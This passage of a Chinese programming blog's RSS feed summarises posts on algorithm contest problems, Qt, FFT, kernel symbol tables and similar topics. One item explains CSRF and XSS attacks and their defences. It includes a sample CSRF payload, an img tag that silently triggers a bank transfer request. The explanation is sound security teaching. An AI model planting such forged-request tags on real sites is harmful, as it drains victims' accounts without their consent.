提取码：nz53&#xA;1.获取源码，这里建议编译jdk9&#xA;apt-get install mercurial hg clone http://hg.openjdk.java.net/jdk9/jdk9/ 会生产一个jdk9目录 cd 到jdk9目录，执行命令获取剩下的源码</description>
    </item>
    <item>
      <title>第八届蓝桥杯第八题--包子凑数（C语言）</title>
      <link>https://bchobby.github.io/posts/fcca047823a34e19bd106d5f47be18dd/</link>
      <pubDate>Mon, 03 Feb 2020 22:17:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcca047823a34e19bd106d5f47be18dd/</guid>
      <description>第八届蓝桥杯第八题–包子凑数（C语言） 一.比赛题目 1.题目要求 小明几乎每天早晨都会在一家包子铺吃早餐。他发现这家包子铺有N种蒸笼，其中第i种蒸笼恰好能放Ai个包子。每种蒸笼都有非常多笼，可以认为是无限笼。&#xA;每当有顾客想买X个包子，卖包子的大叔就会迅速选出若干笼包子来，使得这若干笼中恰好一共有X个包子。比如一共有3种蒸笼，分别能放3、4和5个包子。当顾客想买11个包子时，大叔就会选2笼3个的再加1笼5个的（也可能选出1笼3个的再加2笼4个的）。&#xA;当然有时包子大叔无论如何也凑不出顾客想买的数量。比如一共有3种蒸笼，分别能放4、5和6个包子。而顾客想买7个包子时，大叔就凑不出来了。&#xA;小明想知道一共有多少种数目是包子大叔凑不出来的。&#xA;2.输入与输出 输入：&#xA;第一行包含一个整数N。(1 &amp;lt;= N &amp;lt;= 100)以下N行每行包含一个整数Ai。(1 &amp;lt;= Ai &amp;lt;= 100)&#xA;输出：&#xA;一个整数代表答案。如果凑不出的数目有无限多个，输出INF&#xA;样例输入1：&#xA;2&#xA;4&#xA;5&#xA;样例输出1：&#xA;6&#xA;样例输入2：&#xA;2&#xA;4&#xA;6&#xA;样例输出2：&#xA;INF&#xA;二.分析过程 为了做懂这道题，这两天一直在看背包问题，终于在今晚上把背包问题稍微总结了一下：总结的背包问题&#xA;1.问题分析 这个包子凑数问题首先要解决两个难点：&#xA;（1）在什么情况下，包子凑不出来的数目是无限个；&#xA;（2）如何知道包子能凑出哪些数目；&#xA;第二个问题其实就是背包问题的一种变形&#xA;2.第一个问题 第一个问题的关键其实就是知道假如输入的每笼包子的数目不互质的话，包子凑不出来的数目就是无限个；&#xA;一直反复来求两个数的公约数，假如最后不是1，那么就说这两个数不互质，求出两个数的最大公约数之后在和后面的数又进行比较，&#xA;gcd函数返回两个或多个整数的最大公约数&#xA;这就是下面代码的含义：&#xA;int gcd(int a, int b) { return b == 0 ? a : gcd(b, a%b); } 3.第二个问题 包子凑数里面说了笼数是无穷笼，所以可以利用完全背包里面的转移方程来解决：&#xA;for(int i=1;i&amp;lt;=n;i++) for(int j=0;j&amp;lt;=h;j++) if(j&amp;gt;=w[i]) dp[j]=max(dp[j],dp[j-w[i]]+v[i]); //完全背包的转移方程 在结合本题的实际情况下，对转移方程代码进行改动：</description>
    </item>
    <item>
      <title>数据结构与算法课程设计大作业</title>
      <link>https://bchobby.github.io/posts/a9e7572ba4a7c4957d03661d90c52ad1/</link>
      <pubDate>Mon, 03 Feb 2020 11:20:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9e7572ba4a7c4957d03661d90c52ad1/</guid>
      <description>考 核 要 求&#xA;课程编号： 400802010 课程名称： 数据结构与算法课程设计 考试形式： 大作业 大作业1-9见我的下载 里面包含多个版本的设计 文件有cpp文件设计文档总结等&#xA;一、设计考核说明：&#xA;学生必须仔细阅读《数据结构》课程设计方案，认真主动完成课设的要求。有问题及时主动与教师沟通。&#xA;学生要发挥自主学习的能力，充分利用时间，安排好课设的时间计划，并在课设过程中不断检测自己的计划完成情况，及时的向教师汇报。&#xA;课程设计按照教学要求需要一周时间完成。&#xA;二、具体要求：&#xA;1.学生在选题范围中选择设计题目，选题根据学号的尾号定题目，例如尾号为1的选择第一题，以此类推，尾号为0和9的选第九题。&#xA;2.学生单独进行相应软件项目的设计、实现工作，独立提交完整文档。&#xA;3.提交文档雷同，第2名及以后作不及格处理。&#xA;4.要求按照系统设计规范来撰写设计报告。报告包括封面（项目的题目、姓名等）、目录、主体设计部分以及后记。文档每人一份。&#xA;5.要求内容完整，结构清晰，最终提交电子文档一份。&#xA;三、设计题目选题表&#xA;1、运动会分数统计问题。&#xA;【问题描述】&#xA;参加运动会有n个学校，学校编号为1„„n。比赛分成m个男子项目，和w个女子项目。项目编号为男子1„„m，女子m+1„„m+w。不同的项目取前五名或前三名积分；取前五名的积分分别为：7、5、3、2、1，前三名的积分分别为：5、3、2；哪些取前五名或前三名由学生自己设定。（m&amp;lt;=20,n&amp;lt;=20）。&#xA;【实现要求】&#xA;（1）可以输入各个项目的前三名或前五名的成绩；&#xA;（2）能统计各学校总分；&#xA;（3）可以按学校编号、学校总分、男女团体总分排序输出；&#xA;（4）可以按学校编号查询学校某个项目的情况；可以按项目编号查询取得前三或前五名的学校；&#xA;（5）数据存入文件并能随时查询；&#xA;（6）输入数据形式和范围：可以输入学校的名称，运动会项目的名称。&#xA;【实现提示】&#xA;输出有中文提示，各学校分数为整形；每个功能可以设立菜单，用户根据提示实现相关功能；存储结构可采参考图的邻接表，自行设计。设计报告中应有数据测试部分说明。 代码：https://download.csdn.net/download/sereasuesue/12530524&#xA;2、学生成绩管理系统&#xA;【问题描述】&#xA;现有学生成绩信息文件1（1.txt），内容如下&#xA;姓名 学号 语文 数学 英语 张明明 01 67 78 82&#xA;李成友 02 78 91 88&#xA;张辉灿 03 68 82 56&#xA;王露 04 56 45 77&#xA;陈东明 05 67 38 47</description>
    </item>
    <item>
      <title>csrf与xss攻击的详解与区别</title>
      <link>https://bchobby.github.io/posts/6215f9d40f8d5267c9d45b703ebbee59/</link>
      <pubDate>Sun, 02 Feb 2020 19:47:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6215f9d40f8d5267c9d45b703ebbee59/</guid>
      <description>一、csrf攻击&#xA;1.CSRF的基本概念、缩写、全称：CSRF(Cross-site request forgery)：跨站请求伪造。&#xA;2.CSRF的攻击原理&#xA;用户是网站A的注册用户，且登录进去，于是网站A就给用户下发cookie。从上图可以看出，要完成一次CSRF攻击，受害者必须满足两个必要的条件：&#xA;（1）登录受信任网站A，并在本地生成Cookie。（如果用户没有登录网站A，那么网站B在诱导的时候，请求网站A的api接口时，会提示你登录）&#xA;（2）在不登出A的情况下，访问危险网站B（其实是利用了网站A的漏洞）。&#xA;注意cookie保证了用户可以处于登录状态，但网站B其实拿不到cookie。&#xA;3.CSRF的危害?-发消息(蠕虫)+转账(丢钱)+盗号&#xA;攻击者能够欺骗受害用户完成该受害者所允许的任一状态改变的操作，CRSF能做的事情包括利用你的身份发邮件、发短信、进行交易转账等，甚至盗取你的账号，更新账号细节，完成购物，注销甚至登录等操作，获取用户的隐私数据，配合其他漏洞攻击CSRF蠕虫指产生蠕虫效果，会将 CSRF 攻击一传十，十传百。如：某社区获取好友列表接口和私信好友的接口都存在CSRF漏洞，攻击者就可以将其组合成一个CSRF蠕虫——当一个用户访问恶意页面后通过CSRF获取其好友列表信息，然后再利用私信好友的CSRF漏洞给其每个好友发送一条指向恶意页面的信息，只要有人查看这个信息里的链接，CSRF蠕虫就会不断传播下去，其可能造成的危害和影响非常巨大！&#xA;假设某银行网站A以GET请求来发起转账操作，转账的地址www.xxx.com/transfer.doaccountNum=l000l&amp;amp;money=10000，参数accountNum表示转账的账户，参数money表示转账金额。而某大型论坛B上，一个恶意用户上传了一张图片，而图片的地址栏中填的并不是图片的地址，而是前而所说的砖账地址：&amp;lt;img src=&#34;http://www.xxx.com/transfer.do?accountNum=l000l&amp;amp;money=10000&#34;&amp;gt;当你登录网站A后，没有及时登出，这时你访问了论坛B，不幸的事情发生了，你会发现你的账号里面少了10000块...为什么会这样呢，在你登录银行A时，你的浏览器端会生成银行A的cookie，而当你访问论坛B的时候，页面上的&amp;lt;img&amp;gt;标签需要浏览器发起一个新的HTTP请求，以获得图片资源，当浏览器发起请求时，请求的却是银行A的转账地址www.xxx.com/transfer.do?accountNum=l000l&amp;amp;money=10000，并且会带上银行A的cookie信息，结果银行的服务器收到这个请求后，会以为是你发起的一次转账操作，因此你的账号里边便少了10000块。&#xA;4.CSRF如何防御?---cookie设置httpOnly + token验证 + 隐藏令牌 + Referer验证&#xA;（1）方法1、将cookie设置为HttpOnly&#xA;CRSF攻击很大程度上是利用了浏览器的cookie，为了防止站内的XSS漏洞盗取cookie,需要在cookie中设置“HttpOnly”属性，这样通过程序（如JavaScript脚本、Applet等）就无法读取到cookie信息，避免了攻击者伪造cookie的情况出现。设置cookie为HttpOnly的代码如下：response.setHeader( &#34;Set-Cookie&#34;, &#34;cookiename=cookievalue;HttpOnly&#34;);&#xA;（2）方法2、Token 验证(用的最多)：攻击者可以伪造用户的请求，该请求中所有的用户验证信息都存在于cookie中，因此攻击者可以在不知道用户验证信息的情况下直接利用用户的cookie来通过安全验证。在请求中放入攻击者所不能伪造的信息，并且该信总不存在于cookie之中。服务器发送给客户端一个token；客户端提交的表单中带着这个token；如果这个token不合法，那么服务器拒绝这个请求。假设请求通过POST方式提交，则可以在相应的表单中增加一个隐藏域：&#xA;&amp;lt;input type=&#34;hidden&#34; name=&#34;_toicen&#34; value=&#34;tokenvalue&#34;/&amp;gt;&#xA;token的值通过服务端生成，表单提交后token的值通过POST请求与参数一同带到服务端，每次会话可以使用相同的token，会话过期，则token失效，攻击者因无法获取到token，也就无法伪造请求。&#xA;在session中添加token的实现代码：&#xA;HttpSession session = request.getSession(); Object token = session.getAttribute(&#34;_token&#34;); if(token == null I I &#34;&#34;.equals(token)) { session.setAttribute(&#34;_token&#34;, UUID.randomUUIDO .toString()); } （3）方法3、隐藏令牌：把token隐藏在http的head头中。方法二和方法一有点像，本质上没有太大区别，只是使用方式上有区别。&#xA;（4）方法4、Referer验证：Referer指的是页面请求来源。意思是，只接受本站的请求，服务器才做响应；如果不是，就拦截。&#xA;二、xss攻击&#xA;1、XSS的基本概念：XSS（Cross Site Scripting）：跨域脚本攻击。&#xA;2、XSS攻击原理：不需要你做任何的登录认证，它会通过合法的操作（比如在url中输入、在评论框中输入），向你的页面注入脚本（可能是js、hmtl代码块等）。&#xA;3、XSS攻击后果：盗用Cookie破坏页面的正常结构，插入广告等恶意内容D-doss攻击&#xA;4、XSS的攻击方式，具体详见：反射型XSS漏洞的条件+类型+危害+解决&#xA;a. 反射型：发出请求时，XSS代码出现在url中，作为输入提交到服务器端，服务器端解析后响应，XSS代码随响应内容一起传回给浏览器，最后浏览器解析执行XSS代码。这个过程像一次反射，所以叫反射型XSS。&#xA;b.存储型：存储型XSS和反射型XSS的差别在于，提交的代码会存储在服务器端（数据库、内存、文件系统等），下次请求时目标页面时不用再提交XSS代码。&#xA;5、XSS的防范措施（encode+过滤）&#xA;XSS的防范措施主要有三个：编码、过滤、校正&#xA;1、编码：对用户输入的数据进行HTML Entity 编码。把字符转换成 转义字符。Encode的作用是将$var等一些字符进行转化，使得浏览器在最终输出结果上是一样的。</description>
    </item>
    <item>
      <title>如何进行断点调试？</title>
      <link>https://bchobby.github.io/posts/c193fde9cffc89fe003cea2b51285b16/</link>
      <pubDate>Sat, 01 Feb 2020 20:31:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c193fde9cffc89fe003cea2b51285b16/</guid>
      <description>用任意浏览器打开写好的html文件，然后按F12（右击选择“检查”）&#xA;就会看到如上图片内容，点击Sources，然后在想打断点的地方轻轻点击一下&#xA;这个时候F5刷新一下就可以，开始断点调试了！&#xA;1：跳转到下一个断点处&#xA;2：单步执行&#xA;3. 进入函数&#xA;4. 跳出函数</description>
    </item>
    <item>
      <title>解决vmware安装黑苹果无法上网的问题(win10)</title>
      <link>https://bchobby.github.io/posts/323226db3859eb3fbd991ac00f43aa86/</link>
      <pubDate>Sat, 01 Feb 2020 17:46:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/323226db3859eb3fbd991ac00f43aa86/</guid>
      <description>首先设置网络连接为NAT模式&#xA;打开控制面板中的网络连接&#xA;找到VMnet8的连接右键属性--&amp;gt;共享--&amp;gt;1、勾选允许其他网络用户通过此计算机的Internet连接来连接 2、选择VMnet1&#xA;3、确定--保存</description>
    </item>
    <item>
      <title>Qt学习笔记之 字符串类型小结</title>
      <link>https://bchobby.github.io/posts/5b44cf99454fb6888d4de9cbf33d3ef4/</link>
      <pubDate>Sat, 01 Feb 2020 15:53:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b44cf99454fb6888d4de9cbf33d3ef4/</guid>
      <description>1. Qt常用字符串类型 1.1 QString QString是Unicode编码的字符串，存储一系列16位的QChar，每一个QChar对应一个Unicode 4.0编码的字符，详见《Qt学习笔记之QString》。&#xA;1.2 QByteArray QByteArray是个字节数组，可以存储原始字节（包括一系列&#39;\0&#39;)和传统的8位&#39;\0&#39;结尾的字符串，每一个字节存储为char类型的数据；&#xA;虽然QString用得更普遍和方便，但当需要存储原始的二进制数据或者内存保护要求严格时，用QByteArray比用QString更合适，详见《Qt学习笔记之QByteArry》。&#xA;1.3 QChar QChar存储一个16位（2个字节）的Unicode字符，数据的存储类型为ushort（unsigned short），详见《Qt学习笔记之QChar》。&#xA;1.4 QLatin1Char QLatin1Char是个结构体，存储一个8位ASCII/Latin-1编码的字符，数据的存储类型为char，详见《Qt学习笔记之QLatin1Char》。&#xA;2. Qt字符串类型见转换 2.1 QByteArray、char *与QString互转 QByteArray与QString互转极为简单，二者从本质上类似，都是连续存储，区别是前者可以存无法显示的字符，后者只存可显示的字符。如QByteArray可以存0x00-0x19，而QString则存储如0x30等可显示字符（0x20-0x7E）&#xA;QString 转 char ，需要用到 QByteArray 类， 因为 char 最后都有一个&#39;\0&#39;作为结束符，而采用 QString::toLatin1() 时会在字符串后面加上&#39;\0&#39;。&#xA;#include &amp;lt;QCoreApplication&amp;gt; #include &amp;lt;QChar&amp;gt; #include &amp;lt;QString&amp;gt; #include &amp;lt;QDebug&amp;gt; int main(int argc, char *argv[]) { QCoreApplication a(argc, argv); //! QString 定义 QString str = &#34;hello world&#34;; //! QString 转 QByteArray QByteArray ba; ba = str.toLatin1(); qDebug(&#34;%s&#34;,ba.data()); //!</description>
    </item>
    <item>
      <title>小程序-转发功能，使用button开放功能open-type=&#34;share&#34;</title>
      <link>https://bchobby.github.io/posts/3ed1e7e985de47c8ede456f776c30b01/</link>
      <pubDate>Thu, 30 Jan 2020 22:25:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ed1e7e985de47c8ede456f776c30b01/</guid>
      <description> 页面内发起转发&#xA;通过给 button 组件设置属性 open-type=&#34;share&#34;，可以在用户点击按钮后触发 Page.onShareAppMessage 事件，相关组件：button。&#xA;&amp;lt;button open-type=&#34;share&#34;&amp;gt;转发&amp;lt;/button&amp;gt; // 3 button 的开放功能&amp;lt;button open-type=&#34;share&#34;&amp;gt;分享&amp;lt;/button&amp;gt; onShareAppMessage: function(res) { var that = this; //console.log(&#39;res=====&#39;,res); if (res.from === &#39;button&#39;) { //console.log(&#39;来自页面内转发按钮&#39;); } else if (res.from === &#39;menu&#39;){ //console.log(&#39;右上角菜单转发按钮&#39;); } // 返回数据 return { title: that.data.info.name, path: &#39;/pages/food/info?id=&#39; + that.data.info.id, success: function(res) { // 转发成功，可以把当前页面的链接发送给后端，用于记录当前页面被转发了多少次或其他业务 wx.request({ url: app.buildUrl(&#34;/member/share&#34;), data: { url: utils.getCurrentPageUrlWithArgs() }, success: function(res) { //console.log(&#39;成功&#39;); } }); }, fail: function(res) { // 转发失败 } } }, </description>
    </item>
    <item>
      <title>第八届蓝桥杯第九题--分巧克力（C语言）</title>
      <link>https://bchobby.github.io/posts/a02da62101f7b0b9828e465f10760ba0/</link>
      <pubDate>Thu, 30 Jan 2020 20:01:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a02da62101f7b0b9828e465f10760ba0/</guid>
      <description>第八届蓝桥杯第九题–分巧克力（C语言） 一.比赛题目 1.题目要求 儿童节那天有K位小朋友到小明家做客。小明拿出了珍藏的巧克力招待小朋友们。小明一共有N块巧克力，其中第i块是Hi x Wi的方格组成的长方形。为了公平起见，小明需要从这 N 块巧克力中切出K块巧克力分给小朋友们。切出的巧克力需要满足：&#xA;形状是正方形，边长是整数大小相同&#xA;例如一块6x5的巧克力可以切出6块2x2的巧克力或者2块3x3的巧克力。当然小朋友们都希望得到的巧克力尽可能大，你能帮小Hi计算出最大的边长是多少么？ 2.输入与输出 输入：&#xA;第一行输入包含两个整数N和K。(1 &amp;lt;= N, K &amp;lt;= 100000)&#xA;以下N行每行包含两个整数Hi和Wi。(1 &amp;lt;= Hi, Wi &amp;lt;= 100000)&#xA;输入保证每位小朋友至少能获得一块1x1的巧克力。&#xA;输出：&#xA;输出切出的正方形巧克力最大可能的边长。&#xA;样例输入：&#xA;2 10&#xA;6 5&#xA;5 6&#xA;样例输出：&#xA;2&#xA;二.分析过程 1.整体分析 (1)首先我个人认为这道题里面最重要的就是认识到如何来切&#xA;题目中要求是第i块是hi*wi，且切割出来的是正方形，边长是整数，在这种情况下，我们可以来进行判断，把每块巧克力的边长都拿来除以j（j暂时未知，是能够切出来的正方形巧克力的边长），然后在把每块巧克力能切出来的个数相加，大于或者等于k（k位小朋友），我们就说k是满足条件的。&#xA;代码如下：&#xA;int fun(int j) { int sum=0; for(int i=0;i&amp;lt;=n;i++) { sum+=(hi[i]/j)*(wi[i]/j); if(sum&amp;gt;=k) return true;&#x9;//满足条件返回true； } return false; //不满足条件返回false； } （2）然后找出j的值最大是多少&#xA;j的最大值有很多种查找方法，但是因为数据限定是1–100000，所以如果用顺序查找，是写个for循环依次从100000递减到1来查找最大值的话，会超时；所以在有序且是顺序存储结构的情况下采用了折半查找（也就是二分查找）。&#xA;代码如下：&#xA;int l=1,r=100001,mid; while(l&amp;lt;=r) { mid=(l+r)/2; if(fun(mid)) l=mid+1; else r=mid-1;&#x9;} 三.</description>
    </item>
    <item>
      <title>傅里叶变换 一维快速傅里叶变换（快速的一维离散傅里叶变换、分治法）</title>
      <link>https://bchobby.github.io/posts/81217ec0d9e190216d11e88fa0f7b76c/</link>
      <pubDate>Thu, 30 Jan 2020 16:45:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81217ec0d9e190216d11e88fa0f7b76c/</guid>
      <description>https://blog.csdn.net/qq_36511401/article/details/102969124&#xA;一、介绍&#xA;1、一维离散傅里叶变换DFT。&#xA;DFT:(Discrete Fourier Transform)离散傅里叶变换是傅里叶变换在时域和频域上都呈离散的形式，将信号的时域采样变换为其DTFT的频域采样。在形式上，变换两端（时域和频域上）的序列是有限长的，而实际上这两组序列都应当被认为是离散周期信号的主值序列。即使对有限长的离散信号作DFT，也应当将其看作其周期延拓的变换。&#xA;根据欧拉公式，其中，i为虚数单位，即。&#xA;公式：，可看作：。&#xA;2、一维逆离散傅里叶变换IDFT。&#xA;公式：，可看作：&#xA;3、一维快速傅里叶变换FFT。&#xA;1)FFT（Fast Fourier Transformation）是离散傅氏变换（DFT）的快速算法，即利用计算机计算离散傅里叶变换（DFT)的高效、快速计算方法的统称。快速傅里叶变换是1965年由J.W.库利和T.W.图基提出的。采用这种算法能使计算机计算离散傅里叶变换所需要的乘法次数大为减少，特别是被变换的抽样点数N越多，FFT算法计算量的节省就越显著。即为快速傅氏变换。它是根据离散傅氏变换的奇、偶、虚、实等特性，对离散傅立叶变换的算法进行改进获得的。&#xA;2)因为根据欧拉公式和一维离散傅里叶公式，可以将欧拉公式中的看作是，而且可以是要将其代入到cos和sin函数中，所以其实可以看作是一个半径为1的圆。而可以看作将圆分成N份，即上面那个矩阵中的，而第k份的那个点就是那个值。&#xA;3)可以推导出关系。&#xA;周期性： , 原点对称：&#xA;4）要让DFT的长度等于2的n次幂，其中n是正整数。&#xA;令 ， ，&#xA;则。&#xA;但是这里的k是小于的，但是可以推导出&#xA;， 其中。&#xA;最后将G(x)，P(x)按照这个方式，用分治法不停的拆分出来，剩下最后俩个 ，然后返回计算的结果。&#xA;4、一维逆快速傅里叶变换IFFT。&#xA;比较DFT和IDFT公式，会发现逆变换和正变换的区别在于：&#xA;1、中的正负的区别。&#xA;2、逆变换在结束之后，每个值都要除以原数组的大小。&#xA;所以我们只要套用FFT的算法就可以了，将F(k)作为输入数组，输出f(x)作为输出数组，将因子改为,最后将f(x)全部除以N就可以了。&#xA;二、主要代码&#xA;1、复数类。&#xA;package com.zxj.reptile.utils.number;&#xA;public class Complex {&#xA;private double real;//实数&#xA;private double image;//虚数&#xA;public Complex() {&#xA;real = 0;&#xA;image = 0;&#xA;}&#xA;public Complex(double real, double image) {&#xA;this.real = real;&#xA;this.image = image;</description>
    </item>
    <item>
      <title>西安邮电大学高级程序设计复试</title>
      <link>https://bchobby.github.io/posts/8b8384767063757293099b02dd72e6b4/</link>
      <pubDate>Wed, 29 Jan 2020 10:48:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b8384767063757293099b02dd72e6b4/</guid>
      <description>复试同学需要资料的可以查看一下连接：&#xA;西安邮电大学高级程序设计复试资料</description>
    </item>
    <item>
      <title>西安邮电大学-考研-电路分析复试</title>
      <link>https://bchobby.github.io/posts/59ffdb4c682018d7fdaf85f8f45b3c1a/</link>
      <pubDate>Wed, 29 Jan 2020 10:47:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59ffdb4c682018d7fdaf85f8f45b3c1a/</guid>
      <description>复试同学需要资料的可以查看一下连接&#xA;https://download.csdn.net/download/x_uhen/12098057&#xA;西安邮电大学电路分析复试资料</description>
    </item>
    <item>
      <title>西安邮电大学数字信号处理考研复试</title>
      <link>https://bchobby.github.io/posts/c480dcfb3be99652f56daa01297b3d4d/</link>
      <pubDate>Wed, 29 Jan 2020 10:45:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c480dcfb3be99652f56daa01297b3d4d/</guid>
      <description>复试同学需要资料的可以查看一下连接&#xA;https://download.csdn.net/download/x_uhen/12098072&#xA;西安邮电大学数字信号处理考研复试资料</description>
    </item>
    <item>
      <title>Gym - 102361A Angle Beats(几何)</title>
      <link>https://bchobby.github.io/posts/44b2fd2c3ed08c67f7997b800d79592b/</link>
      <pubDate>Wed, 29 Jan 2020 02:17:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44b2fd2c3ed08c67f7997b800d79592b/</guid>
      <description>题目链接：点击查看&#xA;题目大意：给出n个点，再给出m个询问，每次询问给出一个点 x，我们需要回答包括点 x 的直角三角形有多少个&#xA;题目分析：题目比较直接，数据也比较小，支持n*n的算法处理，首先我们必须知道，如果要包括点 x 所组成三角形，那么点 x 可以在直角点上，也可以在非直角点上，比较容易想到的方法是离线处理，我们需要分类讨论，也就是上述两个情况，对于每个询问而言，以点 x 为相对原点，对其余n个点进行极角排序，然后用双指针保证时间复杂度为O(n)，一个指针固定住一条直角边，另一个指针去找另一条直角边上有多少个点，这样时间复杂度是O(n*m)，解决了点 x 在直角点上的答案，剩下非直角点上的答案我们可以O(n)枚举直角点，同上利用双指针计算贡献，对于有贡献的点 x 累加答案即可，时间复杂度为大概就是n*m*logn的样子，不过实现起来比较麻烦，不想多说&#xA;还有一种方法比较简单，但是不太好想，还比较考察代码功底，就是围绕着map展开，首先我们要找直角三角形，本质上是要找垂直的两条边，换句话说就是需要找两个向量垂直，将点抽象成向量就简单多了，和上面大同小异，当点 x 为直角点时，我们记录下点 x 与 n 个点的向量，最后跑一遍map统计答案即可，当点 x 为非直角点时，一样O(n)枚举直角点，O(n)枚举另一个非直角点，然后直接统计答案就好了，实现起来比较简单，不过难点不是main函数里，而是在Point结构体内对小于号的重载，因为我们需要的是向量，也就是说需要一个带斜率的直线，为了方便起见，我们在重载小于号时应该试图将其归类，譬如(2,1)和(4,2)虽然数值不一样，但是代表的都是同一个向量，我们应该将其归为一类而不是两类，第一次知道map竟然可以根据小于号将载入的数据重新分类，有了这样一个方便的性质，在重载好小于号后就可以直接实现main函数里的内容了，比较简单，具体实现看代码&#xA;代码：&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;cstdio&amp;gt; #include&amp;lt;string&amp;gt; #include&amp;lt;ctime&amp;gt; #include&amp;lt;cmath&amp;gt; #include&amp;lt;cstring&amp;gt; #include&amp;lt;algorithm&amp;gt; #include&amp;lt;stack&amp;gt; #include&amp;lt;queue&amp;gt; #include&amp;lt;map&amp;gt; #include&amp;lt;set&amp;gt; #include&amp;lt;sstream&amp;gt; using namespace std; typedef long long LL; const int inf=0x3f3f3f3f; const int N=2e3+100; struct Point{ LL x,y; Point(){} Point(int _x,int _y){ x = _x; y = _y; } void input(){ scanf(&#34;%lld%lld&#34;,&amp;amp;x,&amp;amp;y); } Point change()const//将所有的向量都转换为非负数 { if(x&amp;lt;0||x==0&amp;amp;&amp;amp;y&amp;lt;0) return Point(-x,-y); return *this; } bool operator &amp;lt; (const Point &amp;amp;b)const{ Point t1=change(),t2=b.</description>
    </item>
    <item>
      <title>C&#43;&#43;第4课：布尔类型&#43;三目运算&#43;引用</title>
      <link>https://bchobby.github.io/posts/f7bd2f54a61bcea08e6df680478c0e56/</link>
      <pubDate>Sun, 26 Jan 2020 13:02:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7bd2f54a61bcea08e6df680478c0e56/</guid>
      <description>本文学习自 狄泰软件学院 唐佐林老师的 C++课程&#xA;实验1 ：bool 类型使用注意1&#xA;实验2 ：bool 类型使用注意2&#xA;实验3：C 中 三目运算符不可作为左值使用&#xA;实验4 ：C++ 中 三目运算符可作为左值使用&#xA;实验5 ：C++中 三目运算符可能返回的值中，有一个是常量值，不能作为左值使用&#xA;实验6 ：引用的使用&#xA;实验7 ：引用的使用- 用同类型变量初始化&#xA;实验8 ：引用的使用- 定义引用时必须要初始化&#xA;实验9 ：引用的使用- 不能用字面常量初始化引用&#xA;打印：&#xA;0&#xA;1&#xA;1&#xA;实验1 ：bool 类型使用注意1&#xA;#include &amp;lt;stdio.h&amp;gt; int main(int argc, char *argv[]) { bool b = 0; printf(&#34;b = %d\n&#34;, b); b++; printf(&#34;b = %d\n&#34;, b); b = b-3; printf(&#34;b = %d\n&#34;, b); return 0; } 实验2 ：bool 类型使用注意2</description>
    </item>
    <item>
      <title>商城类项目实战涉及到的一些知识点</title>
      <link>https://bchobby.github.io/posts/3b48c3ae97bb5bb6c1b235b6c57c23bf/</link>
      <pubDate>Sat, 25 Jan 2020 17:25:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b48c3ae97bb5bb6c1b235b6c57c23bf/</guid>
      <description>一、基础服务搭建 1.1、Maven私服搭建 https://blog.csdn.net/RuiKe1400360107/article/details/104083954&#xA;1.2、GitLab仓库管理搭建 https://blog.csdn.net/RuiKe1400360107/article/details/104091977&#xA;1.3、Apollo配置中心搭建 https://blog.csdn.net/RuiKe1400360107/article/details/104098359&#xA;1.4、唯一登录 https://blog.csdn.net/RuiKe1400360107/article/details/104142939&#xA;1.5、SSO单点登录 https://blog.csdn.net/RuiKe1400360107/article/details/104165639&#xA;1.6、ES与MySQL数据库同步 https://blog.csdn.net/RuiKe1400360107/article/details/104270421&#xA;1.7、支付服务搭建 https://blog.csdn.net/RuiKe1400360107/article/details/104335018&#xA;https://blog.csdn.net/RuiKe1400360107/article/details/104341744&#xA;https://blog.csdn.net/RuiKe1400360107/article/details/104413066&#xA;二、架构图 .....待更新</description>
    </item>
    <item>
      <title>CONFIG_KALLSYMS_ALL</title>
      <link>https://bchobby.github.io/posts/cc8a6d8fbb2da7d3948b5e38a6a9a947/</link>
      <pubDate>Fri, 24 Jan 2020 16:35:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc8a6d8fbb2da7d3948b5e38a6a9a947/</guid>
      <description>内核配置 在2.6内核中，为了更好地调试内核，引入了kallsyms。kallsyms抽取了内核用到的所有函数地址(全局的、静态的)和非栈数据变量地址，生成一个数据块，作为只读数据链接进kernel image，相当于内核中存了一个System.map。&#xA;CONFIG_KALLSYMS=y 符号表中包含所有的函数&#xA;CONFIG_KALLSYMS_ALL=y 符号表中包括所有的变量(包括没有用EXPORT_SYMBOL导出的变量)&#xA;CONFIG_KALLSYMS_EXTRA_PASS=y&#xA;make menuconfig General setup ---&amp;gt; [*] Configure standard kernel features (for small systems) ---&amp;gt; （选中此项，才有/proc/kallsyms接口文件, oops问题，选中此选项即可，子选项可以忽略） [*] Load all symbols for debugging/ksymoops [*] Include all symbols in kallsyms [*] Do an extra kallsyms pass 这样当系统出现oops的时候打印的信息就不是数字了，而是对应的符号信息。&#xA;Call Trace:&#xA;[] sys_delete_module+0x191/0x1ce&#xA;[] do_page_fault+0x189/0x51d&#xA;[] syscall_call+0x7/0xb&#xA;System.map与kallsyms ./scripts/kallsyms.c生成System.map&#xA;./scripts/kallsyms.c解析vmlinux(.tmp_vmlinux)生成kallsyms.S(.tmp_kallsyms.S)，然后内核编译过程中将kallsyms.S(内核符号表)编入内核镜像uImage&#xA;内核启动后，kernel/kallsyms.c解析uImage形成/proc/kallsyms&#xA;/proc/kallsyms cat /proc/kallsyms&#xA;000000000000a018 D per_cpu__xen_vcpu&#xA;000000000000a020 D per_cpu__xen_vcpu_info&#xA;000000000000a060 d per_cpu__mc_buffer&#xA;000000000000b570 D per_cpu__xen_mc_irq_flags</description>
    </item>
    <item>
      <title>DMA(四) - DMA_API_DEBUG</title>
      <link>https://bchobby.github.io/posts/74669351f89b8d5f42049950ca2125a4/</link>
      <pubDate>Thu, 23 Jan 2020 10:34:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74669351f89b8d5f42049950ca2125a4/</guid>
